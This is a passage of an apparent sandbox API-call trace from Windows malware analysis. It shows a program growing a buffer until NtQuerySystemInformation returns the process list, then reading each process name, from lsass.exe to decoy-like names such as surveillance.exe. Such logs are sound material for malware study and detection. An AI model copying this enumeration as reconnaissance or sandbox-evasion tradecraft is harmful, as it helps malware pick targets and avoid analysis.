SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.838] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0084.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.838] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0084.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.838] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0084.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.839] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0084.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.839] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0084.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.840] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0084.840] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.840] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0084.840] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.840] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0084.840] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.841] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0084.841] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.841] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0084.841] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.842] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0084.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.842] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0084.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0084.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0084.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0084.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.844] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0084.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.844] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0084.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0084.845] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0084.845] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175dd8 [0084.845] RtlFreeAnsiString (AnsiString="System") [0084.845] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175dd8) returned 1 [0084.845] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0084.845] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e20 [0084.845] RtlFreeAnsiString (AnsiString="smss.exe") [0084.845] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0084.845] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0084.845] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0084.845] RtlFreeAnsiString (AnsiString="csrss.exe") [0084.845] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.845] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0084.845] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0084.845] RtlFreeAnsiString (AnsiString="wininit.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0084.846] RtlFreeAnsiString (AnsiString="csrss.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0084.846] RtlFreeAnsiString (AnsiString="winlogon.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0084.846] RtlFreeAnsiString (AnsiString="services.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0084.846] RtlFreeAnsiString (AnsiString="lsass.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0084.846] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.846] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0084.846] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0084.846] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0084.846] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dc0 [0084.847] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0084.847] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175d28 [0084.847] RtlFreeAnsiString (AnsiString="dwm.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175d28) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0084.847] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0084.847] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0084.847] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.847] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.847] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.847] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0084.847] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0084.848] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0084.848] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.848] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.848] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0084.848] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0084.849] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0084.849] RtlFreeAnsiString (AnsiString="audiodg.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0084.849] RtlFreeAnsiString (AnsiString="sihost.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0084.849] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0084.849] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0084.849] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0084.849] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713d0 [0084.849] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0084.849] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x3168830 [0084.850] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0084.850] RtlFreeAnsiString (AnsiString="explorer.exe") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171330 [0084.850] RtlFreeAnsiString (AnsiString="Memory Compression") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31713f0 [0084.850] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0084.850] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0084.850] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171330 [0084.850] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0084.850] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0084.850] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0084.851] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0084.851] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0084.851] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0084.851] RtlFreeAnsiString (AnsiString="msoia.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0084.851] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171510 [0084.851] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0084.851] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0084.851] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0084.851] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0084.852] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0084.852] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0084.852] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0084.852] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0084.852] RtlFreeAnsiString (AnsiString="msoia.exe") [0084.852] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.852] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0084.852] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0084.852] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0084.853] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0084.853] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0084.853] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0084.853] RtlFreeAnsiString (AnsiString="screensaver.exe") [0084.853] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.853] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0084.853] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0084.853] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0084.853] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0084.853] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0084.853] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31622f0 [0084.853] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0084.853] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31622f0) returned 1 [0084.853] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0084.853] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171510 [0084.854] RtlFreeAnsiString (AnsiString="surveillance.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0084.854] RtlFreeAnsiString (AnsiString="legends.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0084.854] RtlFreeAnsiString (AnsiString="miniature.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, 